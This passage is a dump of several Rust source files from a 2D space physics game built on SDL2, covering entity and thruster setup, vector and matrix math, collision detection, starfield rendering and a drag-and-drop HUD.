}, Vec2 { x: 155.0, y: 63.0 }, Vec2 { x: 192.0, y: 60.0 }, Vec2 { x: 190.0, y: 102.0 }, Vec2 { x: 200.0, y: 97.0 }, Vec2 { x: 202.0, y: 97.0 }, Vec2 { x: 211.0, y: 90.0 }, Vec2 { x: 222.0, y: 95.0 }, Vec2 { x: 239.0, y: 95.0 }, Vec2 { x: 232.0, y: 112.0 }, Vec2 { x: 215.0, y: 122.0 }, Vec2 { x: 206.0, y: 111.0 }, Vec2 { x: 191.0, y: 86.0 }, Vec2 { x: 167.0, y: 101.0 }, Vec2 { x: 157.0, y: 122.0 }, Vec2 { x: 159.0, y: 112.0 }, Vec2 { x: 147.0, y: 89.0 }, Vec2 { x: 134.0, y: 83.0 }, Vec2 { x: 142.0, y: 80.0 }, Vec2 { x: 159.0, y: 92.0 }, Vec2 { x: 158.0, y: 98.0 }, Vec2 { x: 160.0, y: 101.0 }, Vec2 { x: 175.0, y: 115.0 }, Vec2 { x: 182.0, y: 119.0 }, Vec2 { x: 180.0, y: 122.0 }, Vec2 { x: 182.0, y: 128.0 }, Vec2 { x: 183.0, y: 135.0 }, Vec2 { x: 177.0, y: 143.0 }, Vec2 { x: 166.0, y: 152.0 }, Vec2 { x: 147.0, y: 168.0 }, Vec2 { x: 130.0, y: 169.0 }, Vec2 { x: 142.0, y: 149.0 }, Vec2 { x: 142.0, y: 133.0 }, ]); { use std::f32::consts::{FRAC_PI_2, PI}; let entity = Entity::new( a.clone(), vec![ Box::from(Thruster::new(20.0, Vec2::new(0.0, 10.0), 0.0)), Box::from(Thruster::new(20.0, Vec2::new(-10.0, 0.0), FRAC_PI_2)), Box::from(Thruster::new(20.0, Vec2::new(10.0, 0.0), -FRAC_PI_2)), Box::from(Thruster::new(20.0, Vec2::new(0.0, -10.0), PI)), ], ); grid.entities.push(entity); } { // let mut child = Grid::default(); // child.relation_to_parent = Some(Insist { // state: Vec2 { x: 0.0, y: 0.0 }, // velocity: Vec2 { x: 1.0, y: 0.0 }, // }); let mut entity = Entity::new(a, vec![]); entity.position.state = Vec2 { x: 100.0, y: 60.0 }; grid.entities.push(entity); // grid.children.push(child); } { let mut entity = Entity::new( translation(Vec2 { x: 100.0, y: -100.0, }) * construct_rect_poly_centered(50.0, 70.0), vec![], ); entity.angle.state = 1.0; grid.entities.push(entity); } grids.insert(grid.id, grid); } World { grids } } <file_sep>/src/math/vec.rs use gamemath::{Mat3, Vec2, Vec3}; use serde::{Deserialize, Deserializer, Serialize, Serializer}; use serde_with::{DeserializeAs, SerializeAs}; pub trait Perpendicular { fn perpendicular(self: &Self) -> Self; } impl<T: std::ops::Neg<Output = T> + Copy> Perpendicular for Vec3<T> { fn perpendicular(&self) -> Self { Vec3 { x: -self.y, y: self.x, z: self.z, } } } impl<T: std::ops::Neg<Output = T> + Copy> Perpendicular for Vec2<T> { fn perpendicular(&self) -> Self { Vec2 { x: -self.y, y: self.x, } } } pub trait IntoHomogeneous<T> { fn into_homogeneous(self: &Self) -> Vec3<T>; } impl IntoHomogeneous<f32> for Vec2<f32> { fn into_homogeneous(self: &Vec2<f32>) -> Vec3<f32> { Vec3 { x: self.x, y: self.y, z: 1.0, } } } pub trait IntoCartesian<T> { fn into_cartesian(self: &Self) -> Vec2<T>; } impl<T: std::ops::Div<Output = T> + Copy> IntoCartesian<T> for Vec3<T> { fn into_cartesian(self: &Vec3<T>) -> Vec2<T> { Vec2 { x: self.x / self.z, y: self.y / self.z, } } } pub fn min(a: Vec2<f32>, b: Vec2<f32>) -> Vec2<f32> { Vec2 { x: a.x.min(b.x), y: a.y.min(b.y), } } pub fn max(a: Vec2<f32>, b: Vec2<f32>) -> Vec2<f32> { Vec2 { x: a.x.max(b.x), y: a.y.max(b.y), } } pub fn from_int(a: Vec2<i32>) -> Vec2<f32> { Vec2::new(a.x as f32, a.y as f32) } #[allow(dead_code)] pub fn from_float(a: Vec2<f32>) -> Vec2<i32> { Vec2::new(a.x as i32, a.y as i32) } pub fn modulo<T: std::ops::Rem<Output = T> + std::ops::Add<Output = T> + Copy>( a: &Vec2<T>, b: &Vec2<T>, ) -> Vec2<T> { Vec2 { x: ((a.x % b.x) + b.x) % b.x, y: ((a.y % b.y) + b.y) % b.y, } } pub fn translation(vector: Vec2<f32>) -> Mat3 { ((1.0, 0.0, vector.x), (0.0, 1.0, vector.y), (0.0, 0.0, 1.0)).into() } pub fn phase_out(val: f32) -> f32 { if val > 0.0 { return (val - (0.05 * (val + 1.0))).max(0.0); } if val < 0.0 { return (val - (0.05 * (val - 1.0))).min(0.0); } 0.0 } // #[serde(remote = "Vec2")] #[derive(Serialize, Deserialize)] pub struct Vec2Serde<T: Serialize> { x: T, y: T, } impl<T: Serialize + Clone> From<&Vec2<T>> for Vec2Serde<T> { fn from(vec2: &Vec2<T>) -> Vec2Serde<T> { Vec2Serde { x: vec2.x.clone(), y: vec2.y.clone(), } } } impl<T: Serialize> Into<Vec2<T>> for Vec2Serde<T> { fn into(self) -> Vec2<T> { Vec2 { x: self.x, y: self.y, } } } impl<T: Serialize + Clone> SerializeAs<Vec2<T>> for Vec2Serde<T> { fn serialize_as<S>(source: &Vec2<T>, serializer: S) -> Result<S::Ok, S::Error> where S: Serializer, { Vec2Serde::from(source).serialize(serializer) } } impl<'de, T: Serialize + Deserialize<'de>> DeserializeAs<'de, Vec2<T>> for Vec2Serde<T> { fn deserialize_as<D>(deserializer: D) -> Result<Vec2<T>, D::Error> where D: Deserializer<'de>, { let v = Vec2Serde::deserialize(deserializer)?; Ok(v.into()) } } #[derive(Serialize, Deserialize)] pub struct Vec3Serde<T: Serialize> { x: T, y: T, z: T, } impl<T: Serialize + Clone> From<&Vec3<T>> for Vec3Serde<T> { fn from(vec3: &Vec3<T>) -> Vec3Serde<T> { Vec3Serde { x: vec3.x.clone(), y: vec3.y.clone(), z: vec3.z.clone(), } } } impl<T: Serialize> Into<Vec3<T>> for Vec3Serde<T> { fn into(self) -> Vec3<T> { Vec3 { x: self.x, y: self.y, z: self.z, } } } impl<T: Serialize + Clone> SerializeAs<Vec3<T>> for Vec3Serde<T> { fn serialize_as<S>(source: &Vec3<T>, serializer: S) -> Result<S::Ok, S::Error> where S: Serializer, { Vec3Serde::from(source).serialize(serializer) } } impl<'de, T: Serialize + Deserialize<'de>> DeserializeAs<'de, Vec3<T>> for Vec3Serde<T> { fn deserialize_as<D>(deserializer: D) -> Result<Vec3<T>, D::Error> where D: Deserializer<'de>, { let v = Vec3Serde::deserialize(deserializer)?; Ok(v.into()) } } <file_sep>/src/world/insist.rs use crate::math::vec::*; use gamemath::Vec2; use serde::{ de::{self, MapAccess, SeqAccess, Visitor}, ser::SerializeStruct, Deserialize, Deserializer, Serialize, Serializer, }; use serde_with::{DeserializeAs, SerializeAs}; use std::ops::{Add, AddAssign, Div, Mul, Neg}; /// A value and its velocity. #[derive(Clone, Copy, Debug, Default, Serialize, Deserialize)] pub struct Insist<T> { pub state: T, pub velocity: T, } impl Insist<f32> { pub fn is_zero(self) -> bool { self.state == 0.0 && self.velocity == 0.0 } } impl Insist<Vec2<f32>> { pub fn length_squared(&self) -> Insist<f32> { Insist { state: self.state.length_squared(), velocity: self.state.length_squared(), } } pub fn dot(&self, right: &Self) -> Insist<f32> { Insist { state: self.state.dot(right.state), velocity: self.velocity.dot(right.velocity), } } pub fn get_common(insists: Vec<&Insist<Vec2<f32>>>) -> Insist<Vec2<f32>> { let mut sum = Insist::default(); for insist in &insists { sum += **insist; } let sum_norm = sum.length_squared(); if sum_norm.state == 0.0 && sum_norm.velocity == 0.0 { return sum; } let mut projection_sum: Insist<f32> = Insist::default(); for insist in &insists { projection_sum += sum.dot(insist) / sum_norm; } let projection_mean = projection_sum / insists.len() as f32; sum * projection_mean } } impl<T: AddAssign<T>> AddAssign<Insist<T>> for Insist<T> { fn add_assign(&mut self, insist: Insist<T>) { self.state += insist.state; self.velocity += insist.velocity; } } impl<T: AddAssign<T>> Add<Insist<T>> for Insist<T> { type Output = Insist<T>; fn add(self, right: Insist<T>) -> Insist<T> { let mut result = self; result += right; result } } impl<A: Mul<B, Output = O>, B, O> Mul<Insist<B>> for Insist<A> { type Output = Insist<O>; fn mul(self, insist: Insist<B>) -> Insist<O> { Insist { state: self.state * insist.state, velocity: self.velocity * insist.velocity, } } } impl<T: Div<T, Output = O>, O> Div<Insist<T>> for Insist<T> { type Output = Insist<O>; fn div(self, right: Insist<T>) -> Insist<O> { Insist { state: self.state / right.state, velocity: self.velocity / right.velocity, } } } impl<T: Div<T, Output = O> + Copy, O> Div<T> for Insist<T> { type Output = Insist<O>; fn div(self, right: T) -> Insist<O> { Insist { state: self.state / right, velocity: self.velocity / right, } } } impl<T: Neg<Output = O>, O> Neg for Insist<T> { type Output = Insist<O>; fn neg(self) -> Insist<O> { Insist { state: -self.state, velocity: -self.velocity, } } } impl<T: Serialize + Clone> SerializeAs<Insist<Vec2<T>>> for Insist<Vec2Serde<T>> { fn serialize_as<S>(source: &Insist<Vec2<T>>, serializer: S) -> Result<S::Ok, S::Error> where S: Serializer, { let mut s = serializer.serialize_struct("Insist", 3)?; s.serialize_field("state", &Vec2Serde::from(&source.state))?; s.serialize_field("velocity", &Vec2Serde::from(&source.velocity))?; s.end() } } impl<'de, T: Serialize + Deserialize<'de>> DeserializeAs<'de, Insist<Vec2<T>>> for Insist<Vec2Serde<T>> { fn deserialize_as<D>(deserializer: D) -> Result<Insist<Vec2<T>>, D::Error> where D: Deserializer<'de>, { #[derive(Deserialize)] #[serde(field_identifier, rename_all = "lowercase")] enum Field { State, Velocity, } struct InsistVisitor<U> { p: std::marker::PhantomData<U>, }; impl<'de, T: Serialize + Deserialize<'de>> Visitor<'de> for InsistVisitor<T> { type Value = Insist<Vec2Serde<T>>; fn expecting(&self, formatter: &mut std::fmt::Formatter) -> std::fmt::Result { formatter.write_str("struct Insist") } fn visit_seq<V>(self, mut seq: V) -> Result<Insist<Vec2Serde<T>>, V::Error> where V: SeqAccess<'de>, { let state = seq .next_element()? .ok_or_else(|| de::Error::invalid_length(0, &self))?; let velocity = seq .next_element()? .ok_or_else(|| de::Error::invalid_length(1, &self))?; Ok(Insist { state, velocity }) } fn visit_map<V>(self, mut map: V) -> Result<Insist<Vec2Serde<T>>, V::Error> where V: MapAccess<'de>, { let mut state = None; let mut velocity = None; while let Some(key) = map.next_key()? { match key { Field::State => { if state.is_some() { return Err(de::Error::duplicate_field("state")); } state = Some(map.next_value()?); } Field::Velocity => { if velocity.is_some() { return Err(de::Error::duplicate_field("velocity")); } velocity = Some(map.next_value()?); } } } let state = state.ok_or_else(|| de::Error::missing_field("state"))?; let velocity = velocity.ok_or_else(|| de::Error::missing_field("velocity"))?; Ok(Insist { state, velocity }) } } const FIELDS: &[&str] = &["state", "velocity"]; deserializer .deserialize_struct( "Insist", FIELDS, InsistVisitor::<T> { p: std::marker::PhantomData, }, ) .map(|Insist { state, velocity }| Insist { state: state.into(), velocity: velocity.into(), }) } } <file_sep>/src/math/segment.rs use super::line::Line; use super::vec::*; use gamemath::Vec2; #[derive(Clone, Copy)] pub struct Segment { pub a: Vec2<f32>, pub b: Vec2<f32>, } impl Segment { pub fn new(a: Vec2<f32>, b: Vec2<f32>) -> Segment { Segment { a, b } } pub fn direction(&self) -> Vec2<f32> { self.b - self.a } /// Projects point to the segment. /// @Result value t which represents position on the line of the segment. 0 means point a and 1 means point b. pub fn project_point(&self, point: Vec2<f32>) -> f32 { let d = self.direction(); let a_to_point = point - self.a; d.dot(a_to_point) / d.length_squared() } pub fn intersection_line(self, line: &Line) -> Option<Vec2<f32>> { line.intersection(&self.into()) .map(|p| { let alpha = self.project_point(p); if 0.0 <= alpha && alpha <= 1.0 { Some(p) } else { None } }) .flatten() } pub fn intersection(&self, other: &Segment) -> Option<(f32, f32)> { let other_dir_perpendicular = other.direction().perpendicular(); let self_dir_perpendicular = self.direction().perpendicular(); let wec_p1 = (self.a - other.a).dot(other_dir_perpendicular); let wec_p2 = (self.b - other.a).dot(other_dir_perpendicular); if wec_p1 * wec_p2 <= 0.0 { let wec_q1 = (other.a - self.a).dot(self_dir_perpendicular); let wec_q2 = (other.b - self.a).dot(self_dir_perpendicular); if wec_q1 * wec_q2 <= 0.0 { return Some((wec_p1 / (wec_p1 - wec_p2), wec_q1 / (wec_q1 - wec_q2))); } } None } } <file_sep>/src/world/mod.rs pub mod grid; pub mod block; pub mod thruster; pub mod entity; pub mod gyroscope; pub mod insist; pub use grid::{Grid, GridRelation, World}; pub use insist::{Insist}; pub use entity::{Entity, ForcePoint, MassPoint}; pub use block::Block; pub use thruster::Thruster;<file_sep>/src/ui/hud.rs use crate::client::EntityId; use crate::world::{Entity, Thruster, GridRelation, Insist, World}; use crate::math::bounding_box::BoundingBox; use crate::math::polygon::{construct_rect_poly, construct_rect_poly_centered, Polygon}; use crate::math::segment::Segment; use crate::math::vec::*; use crate::render::{into_vec, Render}; use crate::ui::user_controls::Action; use gamemath::{Mat3, Vec2}; use sdl2::event::Event; use sdl2::pixels::Color; use sdl2::render::{Canvas, RenderTarget}; const TRACKER_PADDING: i32 = 30; pub struct Hud { pub grid_trackers: Vec<GridRelation>, elements: Vec<HudElement>, action_queue: Vec<Action>, } impl Hud { pub fn new(view_size: Vec2<f32>) -> Hud { Hud { grid_trackers: Vec::new(), elements: vec![ HudElement::new_toolbar_button( Vec2::new(0, -1), Entity::new_from_block(Box::from(Thruster::new(20.0, Vec2::default(), 0.0))), view_size, ), HudElement::new_toolbar_button( Vec2::new(1, -1), Entity::new_from_block(Box::from(Thruster::new(30.0, Vec2::default(), 0.0))), view_size, ), HudElement::new_toolbar_button( Vec2::new(2, -1), Entity::new_from_block(Box::from(Thruster::new(40.0, Vec2::default(), 0.0))), view_size, ), ], action_queue: Vec::new(), } } pub fn load_saved_entities(&mut self, view_size: Vec2<f32>) { let mut index = 0; for path in Entity::list_saved().unwrap_or_else(|_| vec![]) { if let Ok(mut entity) = Entity::load_from_file(path) { entity.redistribute_weight(); entity.position.state = Vec2::default(); self.elements.push(HudElement::new_toolbar_button( Vec2::new(index, -2), entity, view_size, )); index += 1; } } } pub fn poll_actions(&mut self) -> std::vec::Drain<'_, Action> { self.action_queue.drain(..) } pub fn handle_event(&mut self, event: &Event) -> bool { for element in &mut self.elements { if element.handle_event(event) { return true; } } false } /// Pull data from & push actions to grids pub fn tick(&mut self, world: &mut World, focus: EntityId) { self.update_trackers(world, focus); for element in &mut self.elements { let mut actions = element.tick(); self.action_queue.extend(actions.drain(..)); } } pub fn update_trackers(&mut self, world: &World, focus: EntityId) { self.grid_trackers = world.get_relations(focus.grid_id, Insist::default()); } pub fn render<T: RenderTarget>(&self, canvas: &mut Canvas<T>) { canvas.set_draw_color(Color::RGB(128, 128, 172)); let center = into_vec(canvas.viewport().center()); let padding = TRACKER_PADDING as f32 * 2.0; let poly = construct_rect_poly_centered(2.0 * center.x - padding, 2.0 * center.y - padding); for tracker in &self.grid_trackers { let ray = Segment::new(tracker.position.state, Vec2::default()); if let Some((_alpha, intersection)) = poly.intersect_line_segment(ray) { let position = translation(center + intersection); let size = (20.0 + tracker.position.state.length() / -1000.0) .min(15.0) .max(2.0); let rect = construct_rect_poly_centered(size, size); rect.render(position, canvas); tracker.position.velocity.render(position, canvas); } } for element in &self.elements { element.draw(canvas); } } } trait UIElement<T: RenderTarget>: Render<T> { // fn click(location: Vec<i32>, controls: UserControls); // fn tick(controls: EventHandler) { // } // fn move(c: Vector, controls: EventHandler) -> Option<bool>; // fn end(c: Vector, controls: EventHandler) -> Option<bool>; // fn wheel(delta: number); } struct HudElement { position: Vec2<i32>, shape: Polygon, variant: HudElementVariant, dragging: bool, } const HUD_ELEMENT_SIZE: i32 = 40; enum HudElementVariant { ToolbarButton { entity: Box<Entity>, scale: f32, ghost: Option<Ghost>, }, } struct Ghost { screen_coordinates: Vec2<i32>, done: bool, } impl Ghost { fn new(screen_coordinates: Vec2<i32>) -> Self { Ghost { screen_coordinates, done: false, } } } impl HudElement { fn new_toolbar_button(slot: Vec2<i32>, entity: Entity, view_size: Vec2<f32>) -> HudElement { let position = from_float(modulo( &from_int(Vec2::new(5, 5) + slot * (HUD_ELEMENT_SIZE + 10)), &view_size, )); let shape = construct_rect_poly(0.0, HUD_ELEMENT_SIZE as f32, 0.0, HUD_ELEMENT_SIZE as f32); let bb = entity.shape.bounding_box(); let diagonal = bb.bottom_right - bb.top_left; let max_dimen = diagonal.x.max(diagonal.y); let scale_factor = (0.01 * max_dimen + 0.2).min(0.9).max(0.6); let scale = scale_factor * (HUD_ELEMENT_SIZE as f32) / max_dimen; HudElement { position, shape, variant: HudElementVariant::ToolbarButton { entity: Box::from(entity), scale, ghost: None, }, dragging: false, } } fn draw<T: RenderTarget>(&self, canvas: &mut Canvas<T>) { canvas.set_draw_color(Color::RED); let position = translation(from_int(self.position)); self.shape.render(position, canvas); match &self.variant { HudElementVariant::ToolbarButton { entity, ghost, scale, } => { let center = Vec2::from(HUD_ELEMENT_SIZE as f32) * 0.5; entity.render( position * translation(center) * Mat3::identity().scaled((*scale).into()), canvas, ); if let Some(ghost) = ghost { entity.render(translation(from_int(ghost.screen_coordinates)), canvas); } } } } fn tick(&mut self) -> Vec<Action> { let mut actions = Vec::new(); match &mut self.variant { HudElementVariant::ToolbarButton { entity: button_entity, ghost, .. } => { if let Some(Ghost { done: true, screen_coordinates, }) = ghost { let mut entity = button_entity.clone(); entity.position.state = from_int(*screen_coordinates); entity.position.velocity = Vec2::default(); actions.push(Action::JoinEntity { entity }); *ghost = None; } } } actions } fn handle_event(&mut self, event: &Event) -> bool { if self.dragging { match event { Event::MouseMotion { x, y, .. } => { self.drag_move(Vec2::new(*x, *y)); return true; } Event::MouseButtonUp { x, y, .. } => { if self.drag_end(Vec2::new(*x, *y)) { self.dragging = false; return true; } } _ => {} } } match event { Event::MouseButtonUp { x, y, .. } => { let coordinates = Vec2::new(*x, *y); let shape_relative = from_int(coordinates - self.position); if self.shape.contains_point(shape_relative) && self.click(coordinates) { return true; } } _ => {} } false } fn click(&mut self, coordinates: Vec2<i32>) -> bool { match &mut self.variant { HudElementVariant::ToolbarButton { ghost, .. } => { *ghost = Some(Ghost::new(coordinates)); self.dragging = true; true } } } fn drag_end(&mut self, coordinates: Vec2<i32>) -> bool { match &mut self.variant { HudElementVariant::ToolbarButton { ghost, .. } => { if let Some(g) = ghost { g.screen_coordinates = coordinates; g.done = true; return true; } } } false } fn drag_move(&mut self, coordinates: Vec2<i32>) { match &mut self.variant { HudElementVariant::ToolbarButton { ghost, .. } => { if ghost.is_some() { *ghost = Some(Ghost::new(coordinates)); } } } } } // impl <T: RenderTarget> HudElement { // fn as_ui_element(&self) -> Option<& impl UIElement<T>> { // match self.variant { // Button -> // } // } // } <file_sep>/src/stars.rs use gamemath::{Vec2, Vec3}; use rand::{thread_rng, Rng}; pub struct Stars { pub points: Vec<Vec3<f32>>, pub field_size: Vec2<f32>, } impl Stars { pub fn new(view_size: Vec2<f32>) -> Stars { let mut rng = thread_rng(); let depth = 10.0; let field_size = view_size * (depth + 1.0); let count = (field_size.x * field_size.y / 15_000.0) as usize; println!("generating {:?} stars", count); let mut points: Vec<Vec3<f32>> = Vec::with_capacity(count); for _i in 0..count { points.push(Vec3 { x: rng.gen_range(0, field_size.x as i32) as f32, y: rng.gen_range(0, field_size.y as i32) as f32, z: rng.gen_range(1, depth as i32) as f32, }); } Stars { points, field_size: Vec2 { x: field_size.x as f32, y: field_size.y as f32, }, } } } <file_sep>/src/engine.rs use crate::world::{Grid, World, Entity}; use crate::render::View; use gamemath::Vec2; use std::collections::HashMap; pub fn engine_tick(world: &mut World, view: &mut View) { world.split_grids(); absorb_common_insists(world, view); for grid in world.grids.values_mut() { grid.tick_parent_relation(); entities_tick(grid); } // world.relink(); world.join_grids(); } fn absorb_common_insists(world: &mut World, view: &mut View) { view.focus = world.find_entity(&view.focus); let common_insist = world.absorb_common_insist(view.focus.grid_id); if let Some(common_insist) = common_insist { view.offset += common_insist.state; view.stars_position += common_insist; } view.stars_position.velocity *= 0.999; view.stars_position.state += view.stars_position.velocity; } fn entities_tick(grid: &mut Grid) { // update velocity for entity in &mut grid.entities { entity.tick(); let mut dv = Vec2::default(); let mut dfv = 0.0; // Center gravity // const distance = c.r.difference(massPoint.r); // const force = c.mass * massPoint.mass * G / distance.length / distance.length; // const a = force / massPoint.mass; // dv.add(distance.product(a / distance.length)); // Thrust let thrust = entity.force(); dv += thrust.force * (1.0 / entity.mass); dfv += thrust.torque / entity.mass_angular; entity.position.velocity += dv; entity.angle.velocity += dfv; } // collision detection let collisions = get_collisions(&grid.entities); // update state for (index, entity) in &mut grid.entities.iter_mut().enumerate() { if let Some(_collision) = collisions.get(&index) { entity.position.velocity = Vec2::default(); entity.angle.velocity = 0.0; } entity.position.state += entity.position.velocity; entity.angle.state += entity.angle.velocity; } } fn get_collisions(entities: &[Entity]) -> HashMap<usize, Collision> { let mut collisions = HashMap::new(); // polygon cache let mut polys = Vec::with_capacity(entities.len()); for entity in entities { polys.push(entity.projection_to_grid() * entity.shape.clone()); } for (index, entity) in entities.iter().enumerate() { for (collided_index, collided_entity) in entities.iter().enumerate() { if index <= collided_index { continue; } let res = polys[collided_index].intercept_polygon( &polys[index], entity.position.velocity - collided_entity.position.velocity, ); if let Some((alpha, intersections)) = res { collisions.insert( index, Collision { alpha, intersections: intersections.clone(), }, ); collisions.insert( collided_index, Collision { alpha, intersections: intersections.clone(), }, ); } } } collisions } #[allow(dead_code)] struct Collision { alpha: f32, intersections: Vec<Vec2<f32>>, } <file_sep>/src/math/mod.rs pub mod bounding_box; pub mod line; pub mod lu; pub mod polygon; pub mod segment; pub mod vec; <file_sep>/src/render.rs use crate::client::EntityId; use crate::math::{bounding_box::BoundingBox, polygon::Polygon, segment::Segment, vec::*}; use crate::stars::Stars; use crate::world::{Entity, Grid, Insist, World}; use gamemath::{Mat2, Mat3, Vec2, Vec3}; use sdl2::pixels::Color; use sdl2::rect::Point; use sdl2::render::{Canvas, RenderTarget}; use std::f32::consts::PI; /// Represents view used to render the grids. pub struct View { // Relative to focused grid pub offset: Vec2<f32>, pub size: Vec2<f32>, pub stars_position: Insist<Vec2<f32>>, pub stars: Stars, pub last_grid_to_screen: Mat3, pub focus: EntityId, } impl View { pub fn new(size: Vec2<f32>, focus: EntityId) -> View { View { offset: Vec2::default(), size, stars_position: Insist::default(), stars: Stars::new(size), last_grid_to_screen: Mat3::default(), focus, } } pub fn tick(&mut self) { self.offset = Vec2 { x: phase_out(self.offset.x), y: phase_out(self.offset.y), }; } } pub fn render<T: RenderTarget>( world: &World, focus: &EntityId, view: &mut View, canvas: &mut Canvas<T>, ) { canvas.set_draw_color(Color::RGB(0, 0, 0)); canvas.clear(); render_stars(view, canvas); let center = translation(into_vec(canvas.viewport().center())); let position = center * translation(view.offset); view.last_grid_to_screen = position; let relations = world.get_relations(focus.grid_id, Insist::default()); for relation in relations { let grid_position = position * translation(relation.position.state); world.grids[&relation.id].render(grid_position, canvas); } } pub trait Render<T: RenderTarget> { fn render(&self, position: Mat3, canvas: &mut Canvas<T>); } impl<T: RenderTarget> Render<T> for Grid { fn render(&self, position: Mat3, canvas: &mut Canvas<T>) { canvas.set_draw_color(Color::RGB(255, 255, 255)); for entity in &self.entities { entity.render(position, canvas); } { canvas.set_draw_color(Color::RGB(50, 50, 80)); self.bounding_box() .expand(1.0) .polygon() .render(position, canvas); } } } impl<T: RenderTarget> Render<T> for Entity { fn render(&self, position: Mat3, canvas: &mut Canvas<T>) { let entity_position = position * translation(self.position.state) * Mat3::rotation(self.angle.state); for block in &self.blocks { let block_position = entity_position * translation(block.offset()) * Mat3::rotation(block.angle()); block.shape().render(block_position, canvas); { let force_point = block.force(); let force = Mat2::rotation(block.angle()) * force_point.force; force.render(entity_position * translation(block.offset()), canvas); } } self.shape.render(entity_position, canvas); ().render(entity_position, canvas); } } impl<T: RenderTarget> Render<T> for Polygon { fn render(&self, position: Mat3, canvas: &mut Canvas<T>) { let lines = (position * self.clone()).to_segments(); for line in lines { canvas .draw_line(into_point(line.a), into_point(line.b)) .expect("Draw line"); } } } /// Render vector impl<T: RenderTarget> Render<T> for Vec2<f32> { fn render(&self, position: Mat3, canvas: &mut Canvas<T>) { let points: Vec<Vec2<f32>> = [ Vec2::default(), *self, *self + (Mat2::rotation(PI * 0.9) * *self).normalized() * 10.0, *self + (Mat2::rotation(-PI * 0.9) * *self).normalized() * 10.0, ] .iter() .map(|p| (position * p.into_homogeneous()).into_cartesian()) .collect(); let lines = [ Segment::new(points[0], points[1]), Segment::new(points[2], points[1]), Segment::new(points[1], points[3]), ]; for line in &lines { canvas .draw_line(into_point(line.a), into_point(line.b)) .expect("Draw line"); } } } /// Render point impl<T: RenderTarget> Render<T> for () { fn render(&self, position: Mat3, canvas: &mut Canvas<T>) { let points: Vec<Vec2<f32>> = [ Vec2::new(-3.0, -3.0), Vec2::new(3.0, 3.0), Vec2::new(3.0, -3.0), Vec2::new(-3.0, 3.0), ] .iter() .map(|p| (position * p.into_homogeneous()).into_cartesian()) .collect(); let lines = [ Segment::new(points[0], points[1]), Segment::new(points[2], points[3]), ]; for line in &lines { canvas .draw_line(into_point(line.a), into_point(line.b)) .expect("Draw line"); } } } fn render_stars<T: RenderTarget>(view: &View, canvas: &mut Canvas<T>) { let color = (view.stars_position.velocity.length() * 2.0).min(120.0) as u8 + 80; canvas.set_draw_color(Color::RGB(color, color, color)); let center = into_vec(canvas.viewport().center()); let stars = &view.stars; let view_position = modulo(&view.stars_position.state, &stars.field_size); let star_offset = Vec3::from(view_position - center); let points: Vec<Point> = stars .points .iter() .map(|point| { let position = *point - star_offset; let wrapped = Vec3 { x: around_zero(position.x, stars.field_size.x), y: around_zero(position.y, stars.field_size.y), z: position.z, }; wrapped.into_cartesian() + center }) .map(into_point) .collect(); canvas.draw_points(&points[..]).expect("Draw star points"); } /// Maps value to the interval of width `width` centered around zero. fn around_zero(value: f32, width: f32) -> f32 { if value < -0.5 * width { value + width } else if value > 0.5 * width { value - width } else { value } } pub fn into_point(vec: Vec2<f32>) -> Point { Point::new(vec.x as i32, vec.y as i32) } pub fn into_vec(point: Point) -> Vec2<f32> { Vec2::new(point.x as f32, point.y as f32) } <file_sep>/src/math/lu.rs use gamemath::{Mat3, Vec3}; #[allow(non_snake_case)] pub fn solve_lu(A: &Mat3, b: Vec3<f32>) -> Vec3<f32> { let (L, U) = lu(A); let y = solve_L(L, b); solve_U(U, y) } #[allow(non_snake_case)] fn solve_L(L: Mat3, b: Vec3<f32>) -> Vec3<f32> { let mut y: Vec3<f32> = Vec3::default(); for i in 0..3 { let mut sum = 0.0; for j in 0..i { sum += y[j] * L[i][j]; } y[i] = b[i] - sum; } y } #[allow(non_snake_case)] fn solve_U(U: Mat3, y: Vec3<f32>) -> Vec3<f32> { let mut x: Vec3<f32> = Vec3::default(); for i in (0..3).rev() { let mut sum = 0.0; for j in i + 1..3 { sum += x[j] * U[i][j]; } x[i] = (y[i] - sum) / U[i][i]; } x } // fn pivot(a: &mut Mat3) { // let matrix_dimension = A.rows(); // let mut P: Array2<T> = Array::eye(matrix_dimension); // for (i, column) in A.axis_iter(Axis(1)).enumerate() { // // find idx of maximum value in column i // let mut max_pos = i; // for j in i..matrix_dimension { // if column[max_pos].abs() < column[j].abs() { // max_pos = j; // } // } // // swap rows of P if necessary // if max_pos != i { // swap_rows(&mut P, i, max_pos); // } // } // P // } // fn swap_rows(A: &mut Mat3, idx_row1: usize, idx_row2: usize) { // let row_1 = A[idx_row1]; // A[idx_row1] = A[idx_row2]; // A[idx_row2] = row_1; // } /// Decomposes matrix A into L and U matrices such that A = L * U where L is lower /// triangular matrix and U is upper triangular matrix. /// Also, diagonal of L only contains values of 1. #[allow(non_snake_case)] fn lu(A: &Mat3) -> (Mat3, Mat3) { let mut L: Mat3 = Mat3::identity(); let mut U: Mat3 = (0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0).into(); for col in 0..3 { // fill U for row in 0..col + 1 { let mut sum = 0.0; for i in 0..row { sum += U[i][col] * L[row][i]; } U[row][col] = A[row][col] - sum; } // fill L for row in col + 1..3 { let mut sum = 0.0; for i in 0..col { sum += U[i][col] * L[row][i]; } L[row][col] = (A[row][col] - sum) / U[col][col]; } } (L, U) } <file_sep>/src/ui/mod.rs pub mod hud; pub mod user_controls; <file_sep>/src/world/block.rs use super::{ForcePoint}; use crate::math::{polygon::Polygon, vec::*}; use crate::ui::user_controls::Action; use gamemath::{Mat3, Vec2}; #[typetag::serde(tag = "type")] pub trait Block: std::fmt::Debug + CloneBlock { fn shape(&self) -> &Polygon; fn offset(&self) -> Vec2<f32>; fn set_offset(&mut self, offset: Vec2<f32>); fn angle(&self) -> f32; fn set_angle(&mut self, angle: f32); fn force(&self) -> ForcePoint { ForcePoint::default() } fn tick(&mut self) {} fn mass(&self) -> f32 { 0.0 } fn apply_action(&mut self, action: &Action); fn transform(&self) -> Mat3 { translation(self.offset()) * Mat3::rotation(self.angle()) } } pub trait CloneBlock { fn clone_block(&self) -> Box<dyn Block>; } impl<T> CloneBlock for T where T: Block + Clone + 'static, { fn clone_block(&self) -> Box<dyn Block> { Box::new(self.clone()) } } impl Clone for Box<dyn Block> { fn clone(&self) -> Self { self.clone_block() } }<file_sep>/src/math/line.rs use super::segment::Segment; use super::vec::IntoCartesian; use gamemath::{Vec2, Vec3}; #[derive(Clone, Copy)] pub struct Line { pub homogeneous: Vec3<f32>, } impl Line { pub fn intersection(&self, other: &Line) -> Option<Vec2<f32>> { let r = self.homogeneous.cross(other.homogeneous); if r.z == 0.0 { None } else { Some(r.into_cartesian()) } } 